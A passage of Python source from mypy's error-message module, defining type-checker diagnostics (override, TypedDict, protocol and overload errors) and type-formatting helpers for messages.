str, type_name: Optional[str], name_in_supertype: str, arg_type_in_supertype: Type, supertype: str, context: Context) -> None: target = self.override_target(name, name_in_supertype, supertype) arg_type_in_supertype_f = format_type_bare(arg_type_in_supertype) self.fail('Argument {} of "{}" is incompatible with {}; ' 'supertype defines the argument type as "{}"' .format(arg_num, name, target, arg_type_in_supertype_f), context, code=codes.OVERRIDE) self.note( 'This violates the Liskov substitution principle', context, code=codes.OVERRIDE) self.note( 'See https://mypy.readthedocs.io/en/stable/common_issues.html#incompatible-overrides', context, code=codes.OVERRIDE) if name == "__eq__" and type_name: multiline_msg = self.comparison_method_example_msg(class_name=type_name) self.note_multiline(multiline_msg, context, code=codes.OVERRIDE) def comparison_method_example_msg(self, class_name: str) -> str: return dedent('''\ It is recommended for "__eq__" to work with arbitrary objects, for example: def __eq__(self, other: object) -> bool: if not isinstance(other, {class_name}): return NotImplemented return <logic to compare two {class_name} instances> '''.format(class_name=class_name)) def return_type_incompatible_with_supertype( self, name: str, name_in_supertype: str, supertype: str, original: Type, override: Type, context: Context) -> None: target = self.override_target(name, name_in_supertype, supertype) override_str, original_str = format_type_distinctly(override, original) self.fail('Return type {} of "{}" incompatible with return type {} in {}' .format(override_str, name, original_str, target), context, code=codes.OVERRIDE) def override_target(self, name: str, name_in_super: str, supertype: str) -> str: target = 'supertype "{}"'.format(supertype) if name_in_super != name: target = '"{}" of {}'.format(name_in_super, target) return target def incompatible_type_application(self, expected_arg_count: int, actual_arg_count: int, context: Context) -> None: if expected_arg_count == 0: self.fail('Type application targets a non-generic function or class', context) elif actual_arg_count > expected_arg_count: self.fail('Type application has too many types ({} expected)' .format(expected_arg_count), context) else: self.fail('Type application has too few types ({} expected)' .format(expected_arg_count), context) def could_not_infer_type_arguments(self, callee_type: CallableType, n: int, context: Context) -> None: callee_name = callable_name(callee_type) if callee_name is not None and n > 0: self.fail('Cannot infer type argument {} of {}'.format(n, callee_name), context) else: self.fail('Cannot infer function type argument', context) def invalid_var_arg(self, typ: Type, context: Context) -> None: self.fail('List or tuple expected as variable arguments', context) def invalid_keyword_var_arg(self, typ: Type, is_mapping: bool, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, Instance) and is_mapping: self.fail('Keywords must be strings', context) else: self.fail( 'Argument after ** must be a mapping, not {}'.format(format_type(typ)), context, code=codes.ARG_TYPE) def undefined_in_superclass(self, member: str, context: Context) -> None: self.fail('"{}" undefined in superclass'.format(member), context) def first_argument_for_super_must_be_type(self, actual: Type, context: Context) -> None: actual = get_proper_type(actual) if isinstance(actual, Instance): # Don't include type of instance, because it can look confusingly like a type # object. type_str = 'a non-type instance' else: type_str = format_type(actual) self.fail('Argument 1 for "super" must be a type object; got {}'.format(type_str), context, code=codes.ARG_TYPE) def too_few_string_formatting_arguments(self, context: Context) -> None: self.fail('Not enough arguments for format string', context, code=codes.STRING_FORMATTING) def too_many_string_formatting_arguments(self, context: Context) -> None: self.fail('Not all arguments converted during string formatting', context, code=codes.STRING_FORMATTING) def unsupported_placeholder(self, placeholder: str, context: Context) -> None: self.fail('Unsupported format character "%s"' % placeholder, context, code=codes.STRING_FORMATTING) def string_interpolation_with_star_and_key(self, context: Context) -> None: self.fail('String interpolation contains both stars and mapping keys', context, code=codes.STRING_FORMATTING) def requires_int_or_single_byte(self, context: Context, format_call: bool = False) -> None: self.fail('"{}c" requires an integer in range(256) or a single byte' .format(':' if format_call else '%'), context, code=codes.STRING_FORMATTING) def requires_int_or_char(self, context: Context, format_call: bool = False) -> None: self.fail('"{}c" requires int or char'.format(':' if format_call else '%'), context, code=codes.STRING_FORMATTING) def key_not_in_mapping(self, key: str, context: Context) -> None: self.fail('Key "%s" not found in mapping' % key, context, code=codes.STRING_FORMATTING) def string_interpolation_mixing_key_and_non_keys(self, context: Context) -> None: self.fail('String interpolation mixes specifier with and without mapping keys', context, code=codes.STRING_FORMATTING) def cannot_determine_type(self, name: str, context: Context) -> None: self.fail('Cannot determine type of "%s"' % name, context, code=codes.HAS_TYPE) def cannot_determine_type_in_base(self, name: str, base: str, context: Context) -> None: self.fail('Cannot determine type of "%s" in base class "%s"' % (name, base), context) def no_formal_self(self, name: str, item: CallableType, context: Context) -> None: self.fail('Attribute function "%s" with type %s does not accept self argument' % (name, format_type(item)), context) def incompatible_self_argument(self, name: str, arg: Type, sig: CallableType, is_classmethod: bool, context: Context) -> None: kind = 'class attribute function' if is_classmethod else 'attribute function' self.fail('Invalid self argument %s to %s "%s" with type %s' % (format_type(arg), kind, name, format_type(sig)), context) def incompatible_conditional_function_def(self, defn: FuncDef) -> None: self.fail('All conditional function variants must have identical ' 'signatures', defn) def cannot_instantiate_abstract_class(self, class_name: str, abstract_attributes: List[str], context: Context) -> None: attrs = format_string_list(['"%s"' % a for a in abstract_attributes]) self.fail('Cannot instantiate abstract class "%s" with abstract ' 'attribute%s %s' % (class_name, plural_s(abstract_attributes), attrs), context, code=codes.ABSTRACT) def base_class_definitions_incompatible(self, name: str, base1: TypeInfo, base2: TypeInfo, context: Context) -> None: self.fail('Definition of "{}" in base class "{}" is incompatible ' 'with definition in base class "{}"'.format( name, base1.name, base2.name), context) def cant_assign_to_method(self, context: Context) -> None: self.fail(message_registry.CANNOT_ASSIGN_TO_METHOD, context, code=codes.ASSIGNMENT) def cant_assign_to_classvar(self, name: str, context: Context) -> None: self.fail('Cannot assign to class variable "%s" via instance' % name, context) def final_cant_override_writable(self, name: str, ctx: Context) -> None: self.fail('Cannot override writable attribute "{}" with a final one'.format(name), ctx) def cant_override_final(self, name: str, base_name: str, ctx: Context) -> None: self.fail('Cannot override final attribute "{}"' ' (previously declared in base class "{}")'.format(name, base_name), ctx) def cant_assign_to_final(self, name: str, attr_assign: bool, ctx: Context) -> None: """Warn about a prohibited assignment to a final attribute. Pass `attr_assign=True` if the assignment assigns to an attribute. """ kind = "attribute" if attr_assign else "name" self.fail('Cannot assign to final {} "{}"'.format(kind, unmangle(name)), ctx) def protocol_members_cant_be_final(self, ctx: Context) -> None: self.fail("Protocol member cannot be final", ctx) def final_without_value(self, ctx: Context) -> None: self.fail("Final name must be initialized with a value", ctx) def read_only_property(self, name: str, type: TypeInfo, context: Context) -> None: self.fail('Property "{}" defined in "{}" is read-only'.format( name, type.name), context) def incompatible_typevar_value(self, callee: CallableType, typ: Type, typevar_name: str, context: Context) -> None: self.fail(message_registry.INCOMPATIBLE_TYPEVAR_VALUE .format(typevar_name, callable_name(callee) or 'function', format_type(typ)), context, code=codes.TYPE_VAR) def dangerous_comparison(self, left: Type, right: Type, kind: str, ctx: Context) -> None: left_str = 'element' if kind == 'container' else 'left operand' right_str = 'container item' if kind == 'container' else 'right operand' message = 'Non-overlapping {} check ({} type: {}, {} type: {})' left_typ, right_typ = format_type_distinctly(left, right) self.fail(message.format(kind, left_str, left_typ, right_str, right_typ), ctx, code=codes.COMPARISON_OVERLAP) def overload_inconsistently_applies_decorator(self, decorator: str, context: Context) -> None: self.fail( 'Overload does not consistently use the "@{}" '.format(decorator) + 'decorator on all function signatures.', context) def overloaded_signatures_overlap(self, index1: int, index2: int, context: Context) -> None: self.fail('Overloaded function signatures {} and {} overlap with ' 'incompatible return types'.format(index1, index2), context) def overloaded_signature_will_never_match(self, index1: int, index2: int, context: Context) -> None: self.fail( 'Overloaded function signature {index2} will never be matched: ' 'signature {index1}\'s parameter type(s) are the same or broader'.format( index1=index1, index2=index2), context) def overloaded_signatures_typevar_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation cannot satisfy signature {} '.format(index) + 'due to inconsistencies in how they use type variables', context) def overloaded_signatures_arg_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation does not accept all possible arguments ' 'of signature {}'.format(index), context) def overloaded_signatures_ret_specific(self, index: int, context: Context) -> None: self.fail('Overloaded function implementation cannot produce return type ' 'of signature {}'.format(index), context) def warn_both_operands_are_from_unions(self, context: Context) -> None: self.note('Both left and right operands are unions', context, code=codes.OPERATOR) def warn_operand_was_from_union(self, side: str, original: Type, context: Context) -> None: self.note('{} operand is of type {}'.format(side, format_type(original)), context, code=codes.OPERATOR) def operator_method_signatures_overlap( self, reverse_class: TypeInfo, reverse_method: str, forward_class: Type, forward_method: str, context: Context) -> None: self.fail('Signatures of "{}" of "{}" and "{}" of {} ' 'are unsafely overlapping'.format( reverse_method, reverse_class.name, forward_method, format_type(forward_class)), context) def forward_operator_not_callable( self, forward_method: str, context: Context) -> None: self.fail('Forward operator "{}" is not callable'.format( forward_method), context) def signatures_incompatible(self, method: str, other_method: str, context: Context) -> None: self.fail('Signatures of "{}" and "{}" are incompatible'.format( method, other_method), context) def yield_from_invalid_operand_type(self, expr: Type, context: Context) -> Type: text = format_type(expr) if format_type(expr) != 'object' else expr self.fail('"yield from" can\'t be applied to {}'.format(text), context) return AnyType(TypeOfAny.from_error) def invalid_signature(self, func_type: Type, context: Context) -> None: self.fail('Invalid signature {}'.format(format_type(func_type)), context) def invalid_signature_for_special_method( self, func_type: Type, context: Context, method_name: str) -> None: self.fail('Invalid signature {} for "{}"'.format(format_type(func_type), method_name), context) def reveal_type(self, typ: Type, context: Context) -> None: self.note('Revealed type is "{}"'.format(typ), context, code=codes.REVEAL) def reveal_locals(self, type_map: Dict[str, Optional[Type]], context: Context) -> None: # To ensure that the output is predictable on Python < 3.6, # use an ordered dictionary sorted by variable name sorted_locals = OrderedDict(sorted(type_map.items(), key=lambda t: t[0])) if sorted_locals: self.note("Revealed local types are:", context, code=codes.REVEAL) for k, v in sorted_locals.items(): self.note(' {}: {}'.format(k, v), context) else: self.note("There are no locals to reveal", context) def unsupported_type_type(self, item: Type, context: Context) -> None: self.fail('Cannot instantiate type "Type[{}]"'.format(format_type_bare(item)), context) def redundant_cast(self, typ: Type, context: Context) -> None: self.fail('Redundant cast to {}'.format(format_type(typ)), context, code=codes.REDUNDANT_CAST) def unimported_type_becomes_any(self, prefix: str, typ: Type, ctx: Context) -> None: self.fail("{} becomes {} due to an unfollowed import".format(prefix, format_type(typ)), ctx, code=codes.NO_ANY_UNIMPORTED) def need_annotation_for_var(self, node: SymbolNode, context: Context, python_version: Optional[Tuple[int, int]] = None) -> None: hint = '' has_variable_annotations = not python_version or python_version >= (3, 6) # Only gives hint if it's a variable declaration and the partial type is a builtin type if (python_version and isinstance(node, Var) and isinstance(node.type, PartialType) and node.type.type and node.type.type.fullname in reverse_builtin_aliases): alias = reverse_builtin_aliases[node.type.type.fullname] alias = alias.split('.')[-1] type_dec = '<type>' if alias == 'Dict': type_dec = '{}, {}'.format(type_dec, type_dec) if has_variable_annotations: hint = ' (hint: "{}: {}[{}] = ...")'.format(node.name, alias, type_dec) else: hint = ' (hint: "{} = ... # type: {}[{}]")'.format(node.name, alias, type_dec) if has_variable_annotations: needed = 'annotation' else: needed = 'comment' self.fail('Need type {} for "{}"{}'.format(needed, unmangle(node.name), hint), context, code=codes.VAR_ANNOTATED) def explicit_any(self, ctx: Context) -> None: self.fail('Explicit "Any" is not allowed', ctx, code=codes.NO_ANY_EXPLICIT) def unexpected_typeddict_keys( self, typ: TypedDictType, expected_keys: List[str], actual_keys: List[str], context: Context) -> None: actual_set = set(actual_keys) expected_set = set(expected_keys) if not typ.is_anonymous(): # Generate simpler messages for some common special cases. if actual_set < expected_set: # Use list comprehension instead of set operations to preserve order. missing = [key for key in expected_keys if key not in actual_set] self.fail('Missing {} for TypedDict {}'.format( format_key_list(missing, short=True), format_type(typ)), context, code=codes.TYPEDDICT_ITEM) return else: extra = [key for key in actual_keys if key not in expected_set] if extra: # If there are both extra and missing keys, only report extra ones for # simplicity. self.fail('Extra {} for TypedDict {}'.format( format_key_list(extra, short=True), format_type(typ)), context, code=codes.TYPEDDICT_ITEM) return found = format_key_list(actual_keys, short=True) if not expected_keys: self.fail('Unexpected TypedDict {}'.format(found), context) return expected = format_key_list(expected_keys) if actual_keys and actual_set < expected_set: found = 'only {}'.format(found) self.fail('Expected {} but found {}'.format(expected, found), context, code=codes.TYPEDDICT_ITEM) def typeddict_key_must_be_string_literal( self, typ: TypedDictType, context: Context) -> None: self.fail( 'TypedDict key must be a string literal; expected one of {}'.format( format_item_name_list(typ.items.keys())), context, code=codes.LITERAL_REQ) def typeddict_key_not_found( self, typ: TypedDictType, item_name: str, context: Context) -> None: if typ.is_anonymous(): self.fail('"{}" is not a valid TypedDict key; expected one of {}'.format( item_name, format_item_name_list(typ.items.keys())), context) else: self.fail('TypedDict {} has no key "{}"'.format( format_type(typ), item_name), context, code=codes.TYPEDDICT_ITEM) matches = best_matches(item_name, typ.items.keys()) if matches: self.note("Did you mean {}?".format( pretty_seq(matches[:3], "or")), context, code=codes.TYPEDDICT_ITEM) def typeddict_context_ambiguous( self, types: List[TypedDictType], context: Context) -> None: formatted_types = ', '.join(list(format_type_distinctly(*types))) self.fail('Type of TypedDict is ambiguous, could be any of ({})'.format( formatted_types), context) def typeddict_key_cannot_be_deleted( self, typ: TypedDictType, item_name: str, context: Context) -> None: if typ.is_anonymous(): self.fail('TypedDict key "{}" cannot be deleted'.format(item_name), context) else: self.fail('Key "{}" of TypedDict {} cannot be deleted'.format( item_name, format_type(typ)), context) def typeddict_setdefault_arguments_inconsistent( self, default: Type, expected: Type, context: Context) -> None: msg = 'Argument 2 to "setdefault" of "TypedDict" has incompatible type {}; expected {}' self.fail(msg.format(format_type(default), format_type(expected)), context, code=codes.TYPEDDICT_ITEM) def type_arguments_not_allowed(self, context: Context) -> None: self.fail('Parameterized generics cannot be used with class or instance checks', context) def disallowed_any_type(self, typ: Type, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, AnyType): message = f'Expression has type "{typ.describe()}"' else: message = 'Expression type contains "Any" (has type {})'.format(format_type(typ)) self.fail(message, context, code=codes.NO_ANY_EXPR) def incorrectly_returning_any(self, typ: Type, context: Context) -> None: message = 'Returning Any from function declared to return {}'.format( format_type(typ)) self.fail(message, context, code=codes.NO_ANY_RETURN) def incorrect__exit__return(self, context: Context) -> None: self.fail( '"bool" is invalid as return type for "__exit__" that always returns False', context, code=codes.EXIT_RETURN) self.note( 'Use "typing_extensions.Literal[False]" as the return type or change it to "None"', context, code=codes.EXIT_RETURN) self.note( 'If return type of "__exit__" implies that it may return True, ' 'the context manager may swallow exceptions', context, code=codes.EXIT_RETURN) def untyped_decorated_function(self, typ: Type, context: Context) -> None: typ = get_proper_type(typ) if isinstance(typ, AnyType): self.fail("Function is untyped after decorator transformation", context, code=codes.NO_ANY_DECORATED) else: self.fail('Type of decorated function contains type "Any" ({})'.format( format_type(typ)), context, code=codes.NO_ANY_DECORATED) def typed_function_untyped_decorator(self, func_name: str, context: Context) -> None: self.fail('Untyped decorator makes function "{}" untyped'.format(func_name), context) def bad_proto_variance(self, actual: int, tvar_name: str, expected: int, context: Context) -> None: msg = capitalize('{} type variable "{}" used in protocol where' ' {} one is expected'.format(variance_string(actual), tvar_name, variance_string(expected))) self.fail(msg, context) def concrete_only_assign(self, typ: Type, context: Context) -> None: self.fail("Can only assign concrete classes to a variable of type {}" .format(format_type(typ)), context) def concrete_only_call(self, typ: Type, context: Context) -> None: self.fail("Only concrete class can be given where {} is expected" .format(format_type(typ)), context) def cannot_use_function_with_type( self, method_name: str, type_name: str, context: Context) -> None: self.fail("Cannot use {}() with {} type".format(method_name, type_name), context) def report_non_method_protocol(self, tp: TypeInfo, members: List[str], context: Context) -> None: self.fail("Only protocols that don't have non-method members can be" " used with issubclass()", context) if len(members) < 3: attrs = ', '.join(members) self.note('Protocol "{}" has non-method member(s): {}' .format(tp.name, attrs), context) def note_call(self, subtype: Type, call: Type, context: Context, *, code: Optional[ErrorCode]) -> None: self.note('"{}.__call__" has type {}'.format(format_type_bare(subtype), format_type(call, verbosity=1)), context, code=code) def unreachable_statement(self, context: Context) -> None: self.fail("Statement is unreachable", context, code=codes.UNREACHABLE) def redundant_left_operand(self, op_name: str, context: Context) -> None: """Indicates that the left operand of a boolean expression is redundant: it does not change the truth value of the entire condition as a whole. 'op_name' should either be the string "and" or the string "or". """ self.redundant_expr('Left operand of "{}"'.format(op_name), op_name == 'and', context) def unreachable_right_operand(self, op_name: str, context: Context) -> None: """Indicates that the right operand of a boolean expression is redundant: it does not change the truth value of the entire condition as a whole. 'op_name' should either be the string "and" or the string "or". """ self.fail('Right operand of "{}" is never evaluated'.format(op_name), context, code=codes.UNREACHABLE) def redundant_condition_in_comprehension(self, truthiness: bool, context: Context) -> None: self.redundant_expr("If condition in comprehension", truthiness, context) def redundant_condition_in_if(self, truthiness: bool, context: Context) -> None: self.redundant_expr("If condition", truthiness, context) def redundant_expr(self, description: str, truthiness: bool, context: Context) -> None: self.fail("{} is always {}".format(description, str(truthiness).lower()), context, code=codes.REDUNDANT_EXPR) def impossible_intersection(self, formatted_base_class_list: str, reason: str, context: Context, ) -> None: template = "Subclass of {} cannot exist: would have {}" self.fail(template.format(formatted_base_class_list, reason), context, code=codes.UNREACHABLE) def report_protocol_problems(self, subtype: Union[Instance, TupleType, TypedDictType], supertype: Instance, context: Context, *, code: Optional[ErrorCode]) -> None: """Report possible protocol conflicts between 'subtype' and 'supertype'. This includes missing members, incompatible types, and incompatible attribute flags, such as settable vs read-only or class variable vs instance variable. """ OFFSET = 4 # Four spaces, so that notes will look like this: # note: 'Cls' is missing following 'Proto' members: # note: method, attr MAX_ITEMS = 2 # Maximum number of conflicts, missing members, and overloads shown # List of special situations where we don't want to report additional problems exclusions: Dict[type, List[str]] = { TypedDictType: ["typing.Mapping"], TupleType: ["typing.Iterable", "typing.Sequence"], Instance: [], } if supertype.type.fullname in exclusions[type(subtype)]: return if any(isinstance(tp, UninhabitedType) for tp in get_proper_types(supertype.args)): # We don't want to add notes for failed inference (e.g. Iterable[<nothing>]). # This will be only confusing a user even more. return if isinstance(subtype, TupleType): if not isinstance(subtype.partial_fallback, Instance): return subtype = subtype.partial_fallback elif isinstance(subtype, TypedDictType): if not isinstance(subtype.fallback, Instance): return subtype = subtype.fallback # Report missing members missing = get_missing_protocol_members(subtype, supertype) if (missing and len(missing) < len(supertype.type.protocol_members) and len(missing) <= MAX_ITEMS): self.note('"{}" is missing following "{}" protocol member{}:' .format(subtype.type.name, supertype.type.name, plural_s(missing)), context, code=code) self.note(', '.join(missing), context, offset=OFFSET, code=code) elif len(missing) > MAX_ITEMS or len(missing) == len(supertype.type.protocol_members): # This is an obviously wrong type: too many missing members return # Report member type conflicts conflict_types = get_conflict_protocol_types(subtype, supertype) if conflict_types and (not is_subtype(subtype, erase_type(supertype)) or not subtype.type.defn.type_vars or not supertype.type.defn.type_vars): self.note('Following member(s) of {} have ' 'conflicts:'.format(format_type(subtype)), context, code=code) for name, got, exp in conflict_types[:MAX_ITEMS]: exp = get_proper_type(exp) got = get_proper_type(got) if (not isinstance(exp, (CallableType, Overloaded)) or not isinstance(got, (CallableType, Overloaded))): self.note('{}: expected {}, got {}'.format(name, *format_type_distinctly(exp, got)), context, offset=OFFSET, code=code) else: self.note('Expected:', context, offset=OFFSET, code=code) if isinstance(exp, CallableType): self.note(pretty_callable(exp), context, offset=2 * OFFSET, code=code) else: assert isinstance(exp, Overloaded) self.pretty_overload(exp, context, 2 * OFFSET, code=code) self.note('Got:', context, offset=OFFSET, code=code) if isinstance(got, CallableType): self.note(pretty_callable(got), context, offset=2 * OFFSET, code=code) else: assert isinstance(got, Overloaded) self.pretty_overload(got, context, 2 * OFFSET, code=code) self.print_more(conflict_types, context, OFFSET, MAX_ITEMS, code=code) # Report flag conflicts (i.e. settable vs read-only etc.) conflict_flags = get_bad_protocol_flags(subtype, supertype) for name, subflags, superflags in conflict_flags[:MAX_ITEMS]: if IS_CLASSVAR in subflags and IS_CLASSVAR not in superflags: self.note('Protocol member {}.{} expected instance variable,' ' got class variable'.format(supertype.type.name, name), context, code=code) if IS_CLASSVAR in superflags and IS_CLASSVAR not in subflags: self.note('Protocol member {}.{} expected class variable,' ' got instance variable'.format(supertype.type.name, name), context, code=code) if IS_SETTABLE in superflags and IS_SETTABLE not in subflags: self.note('Protocol member {}.{} expected settable variable,' ' got read-only attribute'.format(supertype.type.name, name), context, code=code) if IS_CLASS_OR_STATIC in superflags and IS_CLASS_OR_STATIC not in subflags: self.note('Protocol member {}.{} expected class or static method' .format(supertype.type.name, name), context, code=code) self.print_more(conflict_flags, context, OFFSET, MAX_ITEMS, code=code) def pretty_overload(self, tp: Overloaded, context: Context, offset: int, *, add_class_or_static_decorator: bool = False, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: for item in tp.items: self.note('@overload', context, offset=offset, allow_dups=allow_dups, code=code) if add_class_or_static_decorator: decorator = pretty_class_or_static_decorator(item) if decorator is not None: self.note(decorator, context, offset=offset, allow_dups=allow_dups, code=code) self.note(pretty_callable(item), context, offset=offset, allow_dups=allow_dups, code=code) def print_more(self, conflicts: Sequence[Any], context: Context, offset: int, max_items: int, *, code: Optional[ErrorCode] = None) -> None: if len(conflicts) > max_items: self.note('<{} more conflict(s) not shown>' .format(len(conflicts) - max_items), context, offset=offset, code=code) def try_report_long_tuple_assignment_error(self, subtype: ProperType, supertype: ProperType, context: Context, msg: str = message_registry.INCOMPATIBLE_TYPES, subtype_label: Optional[str] = None, supertype_label: Optional[str] = None, code: Optional[ErrorCode] = None) -> bool: """Try to generate meaningful error message for very long tuple assignment Returns a bool: True when generating long tuple assignment error, False when no such error reported """ if isinstance(subtype, TupleType): if (len(subtype.items) > 10 and isinstance(supertype, Instance) and supertype.type.fullname == 'builtins.tuple'): lhs_type = supertype.args[0] lhs_types = [lhs_type] * len(subtype.items) self.generate_incompatible_tuple_error(lhs_types, subtype.items, context, msg, code) return True elif (isinstance(supertype, TupleType) and (len(subtype.items) > 10 or len(supertype.items) > 10)): if len(subtype.items) != len(supertype.items): if supertype_label is not None and subtype_label is not None: error_msg = "{} ({} {}, {} {})".format(msg, subtype_label, self.format_long_tuple_type(subtype), supertype_label, self.format_long_tuple_type(supertype)) self.fail(error_msg, context, code=code) return True self.generate_incompatible_tuple_error(supertype.items, subtype.items, context, msg, code) return True return False def format_long_tuple_type(self, typ: TupleType) -> str: """Format very long tuple type using an ellipsis notation""" item_cnt = len(typ.items) if item_cnt > 10: return 'Tuple[{}, {}, ... <{} more items>]'\ .format(format_type_bare(typ.items[0]), format_type_bare(typ.items[1]), str(item_cnt - 2)) else: return format_type_bare(typ) def generate_incompatible_tuple_error(self, lhs_types: List[Type], rhs_types: List[Type], context: Context, msg: str = message_registry.INCOMPATIBLE_TYPES, code: Optional[ErrorCode] = None) -> None: """Generate error message for individual incompatible tuple pairs""" error_cnt = 0 notes = [] # List[str] for i, (lhs_t, rhs_t) in enumerate(zip(lhs_types, rhs_types)): if not is_subtype(lhs_t, rhs_t): if error_cnt < 3: notes.append('Expression tuple item {} has type {}; {} expected; ' .format(str(i), format_type(rhs_t), format_type(lhs_t))) error_cnt += 1 error_msg = msg + ' ({} tuple items are incompatible'.format(str(error_cnt)) if error_cnt - 3 > 0: error_msg += '; {} items are omitted)'.format(str(error_cnt - 3)) else: error_msg += ')' self.fail(error_msg, context, code=code) for note in notes: self.note(note, context, code=code) def add_fixture_note(self, fullname: str, ctx: Context) -> None: self.note('Maybe your test fixture does not define "{}"?'.format(fullname), ctx) if fullname in SUGGESTED_TEST_FIXTURES: self.note( 'Consider adding [builtins fixtures/{}] to your test description'.format( SUGGESTED_TEST_FIXTURES[fullname]), ctx) def quote_type_string(type_string: str) -> str: """Quotes a type representation for use in messages.""" no_quote_regex = r'^<(tuple|union): \d+ items>$' if (type_string in ['Module', 'overloaded function', '<nothing>', '<deleted>'] or re.match(no_quote_regex, type_string) is not None or type_string.endswith('?')): # Messages are easier to read if these aren't quoted. We use a # regex to match strings with variable contents. return type_string return '"{}"'.format(type_string) def format_type_inner(typ: Type, verbosity: int, fullnames: Optional[Set[str]]) -> str: """ Convert a type to a relatively short string suitable for error messages. Args: verbosity: a coarse grained control on the verbosity of the type fullnames: a set of names that should be printed in full """ def format(typ: Type) -> str: return format_type_inner(typ, verbosity, fullnames) def format_list(types: Sequence[Type]) -> str: return ', '.join(format(typ) for typ in types) def format_union(types: Sequence[Type]) -> str: if not mypy.options._based: return format_list(types) return ' | '.join(format(typ) for typ in types) def format_literal_value(typ: LiteralType) -> str: if typ.is_enum_literal(): underlying_type = format(typ.fallback) return '{}.{}'.format(underlying_type, typ.value) else: return typ.value_repr() # TODO: show type alias names in errors. typ = get_proper_type(typ) if isinstance(typ, Instance): itype = typ # Get the short name of the type. if itype.type.fullname in ('types.ModuleType', '_importlib_modulespec.ModuleType'): # Make some common error messages simpler and tidier. return 'Module' if verbosity >= 2 or (fullnames and itype.type.fullname in fullnames): base_str = itype.type.fullname else: base_str = itype.type.name if not itype.args: # No type arguments, just return the type name return TypeStrVisitor.strip_builtins(base_str) elif itype.type.fullname == 'builtins.tuple': item_type_str = format(itype.args[0]) if not mypy.options._based: return 'Tuple[{}, ...]'.format(item_type_str) return 'tuple[{}, ...]'.format(item_type_str) elif not mypy.options._based and itype.type.fullname in reverse_builtin_aliases: alias = reverse_builtin_aliases[itype.type.fullname] alias = alias.split('.')[-1] return '{}[{}]'.format(alias, format_list(itype.args)) else: # There are type arguments. Convert the arguments to strings. return '{}[{}]'.format(base_str, format_list(itype.args)) elif isinstance(typ, TypeVarType): # This is similar to non-generic instance types. return typ.name elif isinstance(typ, ParamSpecType): return typ.name_with_suffix() elif isinstance(typ, TupleType): # Prefer the name of the fallback class (if not tuple), as it's more informative. if typ.partial_fallback.type.fullname != 'builtins.tuple': return format(typ.partial_fallback) if not mypy.options._based: s = 'Tuple[{}]'.format(format_list(typ.items)) else: s = format_list(typ.items) s = f'({s},)' if len(typ.items) == 1 else f'({s})' return s elif isinstance(typ, TypedDictType): # If the TypedDictType is named, return the name if not typ.is_anonymous(): return format(typ.fallback) items = [] for (item_name, item_type) in typ.items.items(): modifier = '' if item_name in typ.required_keys else '?' items.append('{!r}{}: {}'.format(item_name, modifier, format(item_type))) s = 'TypedDict({{{}}})'.format(', '.join(items)) return s elif isinstance(typ, LiteralType): return 'Literal[{}]'.format(format_literal_value(typ)) elif isinstance(typ, UnionType): literal_items, union_items = separate_union_literals(typ) # Coalesce multiple Literal[] members. This also changes output order. # If there's just one Literal item, retain the original ordering. if len(literal_items) > 1: literal_str = 'Literal[{}]'.format( ', '.join(format_literal_value(t) for t in literal_items) ) if len(union_items) == 1 and isinstance(get_proper_type(union_items[0]), NoneType): return 'Optional[{}]'.format(literal_str) elif union_items: if not mypy.options._based: return 'Union[{}, {}]'.format(format_list(union_items), literal_str) return '{} | {}'.format(format_union(union_items), literal_str) else: return literal_str else: # Only print Union as Optional if the Optional wouldn't have to contain another Union print_as_optional = (len(typ.items) - sum(isinstance(get_proper_type(t), NoneType) for t in typ.items) == 1) if print_as_optional: rest = [t for t in typ.items if not isinstance(get_proper_type(t), NoneType)] return 'Optional[{}]'.format(format(rest[0])) else: if mypy.options._based: s = format_union(typ.items) else: s = 'Union[{}]'.format(format_list(typ.items)) return s elif isinstance(typ, NoneType): return 'None' elif isinstance(typ, AnyType): return typ.describe() elif isinstance(typ, DeletedType): return '<deleted>' elif isinstance(typ, UninhabitedType): if typ.is_noreturn: return 'NoReturn' else: return '<nothing>' elif isinstance(typ, TypeType): if not mypy.options._based: return 'Type[{}]'.format(format(typ.item)) return 'type[{}]'.format(format(typ.item)) elif isinstance(typ, FunctionLike): func = typ if func.is_type_obj(): # The type of a type object type can be derived from the # return type (this always works). return format(TypeType.make_normalized(erase_type(func.items[0].ret_type))) elif isinstance(func, CallableType): if func.type_guard is not None: return_type = f'TypeGuard[{format(func.type_guard)}]' else: return_type = format(func.ret_type) if func.is_ellipsis_args: if not mypy.options._based: return f'Callable[..., {return_type}]' return f'(...) -> {return_type}' param_spec = func.param_spec() if param_spec is not None: if not mypy.options._based: return f'Callable[{param_spec.name}, {return_type}]' return f"({param_spec.name}) -> {return_type}" arg_strings = [] for arg_name, arg_type, arg_kind in zip( func.arg_names, func.arg_types, func.arg_kinds): if (arg_kind == ARG_POS and arg_name is None or verbosity == 0 and arg_kind.is_positional()): arg_strings.append(format(arg_type)) else: constructor = ARG_CONSTRUCTOR_NAMES[arg_kind] if arg_kind.is_star() or arg_name is None: arg_strings.append("{}({})".format( constructor, format(arg_type))) else: arg_strings.append("{}({}, {})".format( constructor, format(arg_type), repr(arg_name))) if not mypy.options._based: return 'Callable[[{}], {}]'.format(", ".join(arg_strings), return_type) return f'({", ".join(arg_strings)}) -> {return_type}' else: # Use a simple representation for function types; proper # function types may result in long and difficult-to-read # error messages. return 'overloaded function' elif isinstance(typ, UnboundType): return str(typ) elif typ is None: raise RuntimeError('Type is None') else: # Default case; we simply have to return something meaningful here. return 'object' def collect_all_instances(t: Type) -> List[Instance]: """Return all instances that `t` contains (including `t`). This is similar to collect_all_inner_types from typeanal but only returns instances and will recurse into fallbacks. """ visitor = CollectAllInstancesQuery() t.accept(visitor) return visitor.instances class CollectAllInstancesQuery(TypeTraverserVisitor): def __init__(self) -> None: self.instances: List[Instance] = [] def visit_instance(self, t: Instance) -> None: self.instances.append(t) super().visit_instance(t) def find_type_overlaps(*types: Type) -> Set[str]: """Return a set of fullnames that share a short name and appear in either type. This is used to ensure that distinct types with the same short name are printed with their fullname. """ d: Dict[str, Set[str]] = {} for type in types: for inst in collect_all_instances(type): d.setdefault(inst.type.name, set()).add(inst.type.fullname) for shortname in d.keys(): if 'typing.{}'.format(shortname) in TYPES_FOR_UNIMPORTED_HINTS: d[shortname].add('typing.{}'.format(shortname)) overlaps: Set[str] = set() for fullnames in d.values(): if len(fullnames) > 1: overlaps.update(fullnames) return overlaps def format_type(typ: Type, verbosity: int = 0) -> str: """ Convert a type to a relatively short 